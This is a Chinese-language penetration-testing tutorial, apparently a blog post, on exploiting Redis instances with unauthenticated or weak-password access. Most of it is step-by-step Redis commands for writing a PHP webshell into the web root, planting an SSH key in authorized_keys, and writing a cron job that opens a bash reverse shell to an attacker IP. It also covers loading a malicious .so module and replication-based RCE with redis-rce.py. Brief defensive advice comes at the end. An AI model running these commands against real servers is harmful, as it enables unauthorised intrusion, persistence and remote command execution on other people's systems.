redis数据库在渗透中的利用
字数 1206 2025-08-20 18:16:55
Redis数据库在渗透测试中的利用方法
前言
本文主要讲解在Redis数据库存在未授权访问或弱口令漏洞时的多种利用方式,包括写入Webshell、写入SSH公钥、计划任务反弹Shell、模块加载执行命令以及主从复制RCE等技术。
环境准备
测试环境
-
Redis服务器:
- 操作系统:Ubuntu 20.04 LTS
- 数据库:Redis
- Web容器:Apache 2.4.41
- 脚本语言:PHP 7.4.3
-
攻击机:
- Kali Linux rolling 2020.2
Redis数据库安装
- 下载Redis:从Redis官网获取
- 安装步骤:
tar -zxvf redis-4.0.0.tar.gz cd redis-4.0.0/ sudo make cd src sudo make install - 修改配置文件
redis.conf:- 将
bind 127.0.0.1改为服务器IP地址 - 设置
daemonize yes使Redis作为后台进程运行
- 将
- 启动Redis:
redis-server redis-4.0.0/redis.conf
Web环境安装
- 安装Apache:
sudo apt install apache2 service apache2 status - 安装PHP:
sudo apt install php libapache2-mod-php php -v - 测试PHP解析:
cd /var/www/ sudo chmod 777 html/ cd html/ echo '<?php phpinfo();' > 1.php
连接方式
1. redis-cli
sudo apt install redis
redis-cli -h host -p port -a password
info
2. Redis Desktop Manager
图形化界面工具,可执行Redis命令。
3. 蚁剑Redis数据库插件
- 安装:蚁剑→插件市场→Redis管理
- 使用:需要先有一个Webshell,通过插件连接Redis
利用方式
1. 写入Webshell
必要条件:
- 知道网站绝对路径
- 拥有网站目录写入权限
操作步骤:
keys * # 查看所有键
set x "\n<?php phpinfo();?>\n" # 创建键并赋值
config get * # 查看配置
config set dir /var/www/html # 设置写入目录
config set dbfilename shell.php # 设置文件名
save # 保存写入
del x # 删除创建的键
# 还原配置
config set dir /原目录
config set dbfilename dump.rdb
注意事项:
- 不同工具写入
\n的效果不同,redis-cli能正确解析为换行 - 写入会覆盖原有文件内容
2. 写入SSH公钥
必要条件:
- 知道启动服务的用户
- 拥有
.ssh目录 - 允许基于密钥认证登录
生成密钥方法:
-
使用ssh-keygen:
ssh-keygen -t rsa在公钥内容前后添加换行符
-
使用Xshell生成密钥
操作步骤:
set x "\n\n公钥内容\n\n" # 创建键并赋值
config set dir /home/user/.ssh # 设置.ssh目录
config set dbfilename authorized_keys # 设置文件名
save
del x
# 还原配置
连接方法:
ssh -i 私钥 user@ip
3. 计划任务反弹Shell
必要条件:
- 拥有计划任务目录写权限
- 目标启动计划服务
操作步骤:
set x "\n\n* * * * * bash -i >& /dev/tcp/攻击IP/端口 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
del x
# 还原配置
注意事项:
- CentOS可行,Ubuntu因计划任务不允许脏数据而不可行
- 需要nc监听:
nc -lvp 端口
4. 模块加载执行命令
必要条件:
- 目标服务器上有.so文件
- Redis支持module命令(Redis 4.0+)
操作步骤:
- 上传恶意.so文件
- 加载模块执行命令:
module load /tmp/exp.so system.exec "whoami" module list module unload system
5. 主从复制RCE
必要条件:
- Redis版本 ≥ 4.x
利用工具:
操作步骤:
python redis-rce.py -L 本地IP -r 目标IP -f exp.so
原理:
- 攻击机设置为主节点
- 目标Redis为从节点
- 通过全量复制将.so文件写入目标
- 加载.so文件执行命令
防御建议
- 设置强密码认证
- 以低权限用户运行Redis
- 限制外网访问,设置IP白名单
- 定期更新Redis版本
总结
- Ubuntu无法通过计划任务利用
- 所有写入操作都是覆盖操作,需谨慎
- 根据环境选择合适的连接和利用方式
- 模块加载和主从复制需要Redis 4.0+版本
- 不同工具对特殊字符(如
\n)处理方式不同